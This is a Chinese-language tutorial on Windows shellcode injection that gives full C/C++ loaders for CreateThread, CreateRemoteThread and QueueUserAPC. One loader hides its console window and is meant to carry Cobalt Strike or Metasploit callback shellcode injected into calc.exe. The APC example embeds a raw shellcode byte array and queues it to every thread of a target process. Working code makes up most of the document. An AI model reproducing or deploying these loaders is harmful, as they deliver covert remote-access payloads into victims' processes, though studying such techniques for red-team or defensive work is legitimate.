shellcode 注入執行技術學習
注入執行方式
- CreateThread
- CreateRemoteThread
- QueueUserAPC
CreateThread是一種用於執行Shellcode的技術,而CreateRemoteThread和QueueUserAPC是Shellcode注入的形式。
以下是使用三種不同技術運行shellcode的過程的高級概述
CreateThread
- Allocate memory in the current process
- Copy shellcode into the allocated memory
- Modify the protections of the newly allocated memory to allow execution of code from within that memory space
- Create a thread with the base address of the allocated memory segment
- Wait on the thread handle to return
翻譯:
1、在當前進程中分配內存
2、將shellcode復制到分配的內存中
3、修改新分配的內存的保護,以允許從該內存空間中執行代碼
4、用分配的內存段的基地址創建一個線程
5、等待線程句柄返回
示例代碼:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "shellcode"; //CS或msf生成的shellcode
DWORD WINAPI ceshi(LPVOID pParameter)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://初次調用dll時執行下面代碼
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建線程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
int a;
a = 0;
}
CreateRemoteThread
- Get the process ID of the process to inject into
- Open the target process
- Allocate executable memory within the target process
- Write shellcode into the allocated memory
- Create a thread in the remote process with the start address of the allocated memory segment
翻譯:
1、獲取要注入的進程的進程ID
2、打開目標進程
3、在目標進程內分配可執行內存
4、將shellcode寫入分配的內存
5、使用分配的內存段的起始地址在遠程進程中創建線程
示例代碼:
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隱藏運行程序時的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C語言格式的上線shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址設置為自己shellcode數組的起始地址
lpMalwareBaseAddr = shellcode;
//獲取系統路徑,拼接字符串找到calc.exe的路徑
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
//打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//創建calc.exe進程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新進程的主線程會以暫停的狀態被創建,直到調用ResumeThread函數被調用時才運行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//遠程線程注入過程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:創建進程並將shellcode寫入進程內存\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
QueueUserAPC
- Get the process ID of the process to inject into
- Open the target process
- Allocate memory within the target process
- Write shellcode into the allocated memory
- Modify the protections of the newly allocated memory to allow execution of code from within that memory space
- Open a thread in the remote process with the start address of the allocated memory segment
- Submit thread to queue for execution when it enters an “alertable” state
- Resume thread to enter “alertable” state
翻譯:
1、獲取要注入的進程的進程ID
2、打開目標進程
3、在目標進程內分配內存
4、將shellcode寫入分配的內存
5、修改新分配的內存的保護,以允許從該內存空間中執行代碼
6、使用分配的內存段的起始地址在遠程進程中打開一個線程
7、進入“可更改”狀態時將線程提交到隊列中以供執行
8、恢復線程以進入“可更改”狀態
示例代碼:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
printf("shellAddress is: %p\n", shellAddress);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
Sleep(1000 * 2);
}
return 0;
}
參考資料
你可以在以下鏈接學到更多知識
https://github.com/LOLBAS-Project/LOLBAS
https://github.com/fireeye/DueDLLigence
https://mp.weixin.qq.com/s/J78CPtHJX5ouN6fxVxMFgg
https://blog.csdn.net/qq_41874930/article/details/107888800
https://www.jianshu.com/p/bdd302d1ffa8
https://www.cnblogs.com/theseventhson/p/13199381.html
https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection